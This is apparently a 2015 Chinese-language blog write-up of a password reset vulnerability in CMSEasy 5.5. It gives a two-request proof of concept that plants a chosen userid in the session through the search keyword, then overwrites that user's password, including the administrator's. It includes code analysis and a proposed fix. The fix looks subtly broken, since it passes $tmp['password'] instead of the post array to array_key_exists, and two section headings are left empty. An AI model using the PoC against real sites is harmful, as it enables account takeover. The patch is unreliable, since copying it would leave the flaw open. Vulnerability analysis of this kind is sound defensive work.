CMSEASY /lib/tool/front_class.php、/lib/default/user_act.php arbitrary user password reset vulnerability

Andrew.Hann發表於2015-07-02

catalog

1. 漏洞描述
2. 漏洞觸發條件
3. 漏洞影響範圍
4. 漏洞程式碼分析
5. 防禦方法
6. 攻防思考

 

1. 漏洞描述

攻擊者通過構造特殊的HTTP包,可以直接重置任意使用者(包括管理員)的密碼

Relevant Link:

http://www.cmseasy.cn/patch/show_919.html


2. 漏洞觸發條件

0x1: POC

1. 首先利用search_action控制userid的值
http://localhost/CmsEasy_5.5/index.php?case=form&act=search&catid=8&form=my_yingpin
POST
keyword=|userid|i:1;"1"\

2. 利用edit_action修改使用者密碼和其它資料
http://localhost/CmsEasy_5.5/index.php?case=user&act=edit
POST
password=3e503e8736acae9b3893629da7008fc0&nickname=ali&question=ali&answer=ali&qq=00000&e_mail=000%40test.com&tel=00000&address=&intro=&submit=%E6%8F%90%E4%BA%A4

 

3. 漏洞影響範圍

4. 漏洞程式碼分析

/lib/default/user_act.php

function edit_action() 
{
    if(front::post('submit')) 
    {
        unset(front::$post['groupid']);
        unset(front::$post['powerlist']);
        if(!is_email(front::$post['e_mail']))
        {
            alerterror('郵箱格式不對');
        }
        foreach (front::$post as $k => $v)
        {
            if(is_array($v) && !empty($v))
            {
                front::$post[$k] = implode(',', $v);
            }
            front::check_type(front::post($k), 'safe');
        }
        //通過取session的userid欄位更新該使用者資料
        $this->_user->rec_update(front::$post,'userid='.session::get('userid'));
        front::flash(lang('修改資料成功!'));
        front::redirect(url::create('user/index'));
    }
    $this->view->data=$this->view->user;
}

edit_action函式實現修改使用者資料,通過取sesson中的userid欄位來更改。所以攻擊路徑必須能控制生成session中的userid欄位,控制生成session的函式位置: /lib/default/form_act.php
我們繼續回溯這個漏洞

function search_action() 
{
    if(front::get('keyword') &&!front::post('keyword'))
    {
        front::$post['keyword']=front::get('keyword');
    } 
    front::check_type(front::post('keyword'),'safe');
    //獲取POST資料中的keyword引數
    if(front::post('keyword')) 
    {
        $this->view->keyword=trim(front::post('keyword'));
        if(inject_check($this->view->keyword))
        {
            exit('非法請求!');
        }
        //通過惡意檢測之後,通過session儲存keyword引數
        session::set('keyword',$this->view->keyword);
    }
    else 
    {
        session::set('keyword',null);
        $this->view->keyword=session::get('keyword');
    }
    if(inject_check($this->view->keyword))
    {
        exit('非法請求!');
    }
    var_dump($this->view->keyword);

    $type = $this->view->type;
    $condition = "";
    if(front::post('catid')) 
    {
        $condition .= "catid = '".front::post('catid')."' AND ";
    }
    $condition .= "(title like '%".$this->view->keyword."%'";
    $sets=settings::getInstance()->getrow(array('tag'=>'table-fieldset'));
    $arr = unserialize($sets['value']);
    if(is_array($arr['archive']) &&!empty($arr['archive'])) 
    {
        foreach ($arr['archive'] as $v) 
        {
            if($v['issearch'] == '1') 
            {
                $condition .= " OR {$v['name']} like '%{$this->view->keyword}%'";
            }
        }
    }
    $condition .= ")";
    $order = "`listorder` desc,1 DESC";
    $limit=(($this->view->page-1)*$this->pagesize).','.$this->pagesize;
    $articles=$this->archive->getrows($condition,$limit,$order);
    foreach($articles as $order=>$arc) 
    {
        $articles[$order]['url']=archive::url($arc);
        $articles[$order]['catname']=category::name($arc['catid']);
        $articles[$order]['caturl']=category::url($arc['catid']);
        $articles[$order]['adddate']= sdate($arc['adddate']);
        $articles[$order]['stitle']= strip_tags($arc['title']);
    }
    $this->view->articles=$articles;
    $this->view->archives=$articles;
    $this->view->record_count=$this->archive->record_count;
}

從訪問控制的角度來看,這個漏洞有兩個原因導致

1. session不應該由攻擊者隨便修改,導致keyword被注入修改,這是一個平行許可權漏洞
2. 修改密碼的入口來自於"使用者資料修改",UI介面上只提供了普通身份資料的修改,但是因此MVC框架對POST資料進行了遍歷,取出所有欄位並進行了資料表更新操作,導致發生了表單欄位注入

 

5. 防禦方法

將程式碼邏輯和UI邏輯進行統一,防止出現表單欄位注入
/lib/default/user_act.php

function edit_action() 
{  
    if(front::post('submit')) 
    {
        unset(front::$post['groupid']);
        unset(front::$post['powerlist']);
        if(!is_email(front::$post['e_mail']))
        {
        alerterror('郵箱格式不對');
        } 
        /**/
        $tmp = front::$post;
        if ( array_key_exists("password", $tmp['password']) ) 
        {
        unset($tmp['password']);
        } 
        front::$post = $tmp;
        /**/
        foreach (front::$post as $k => $v)
        {
            if(is_array($v) && !empty($v))
        {
                front::$post[$k] = implode(',', $v);
            }
            front::check_type(front::post($k), 'safe');
        }
        //通過取session的userid欄位更新該使用者資料
        $this->_user->rec_update(front::$post,'userid='.session::get('userid'));
        front::flash(lang('修改資料成功!'));
        front::redirect(url::create('user/index'));
    }
    $this->view->data=$this->view->user;
}


6. 攻防思考

Copyright (c) 2015 LittleHann All rights reserved

 

相關文章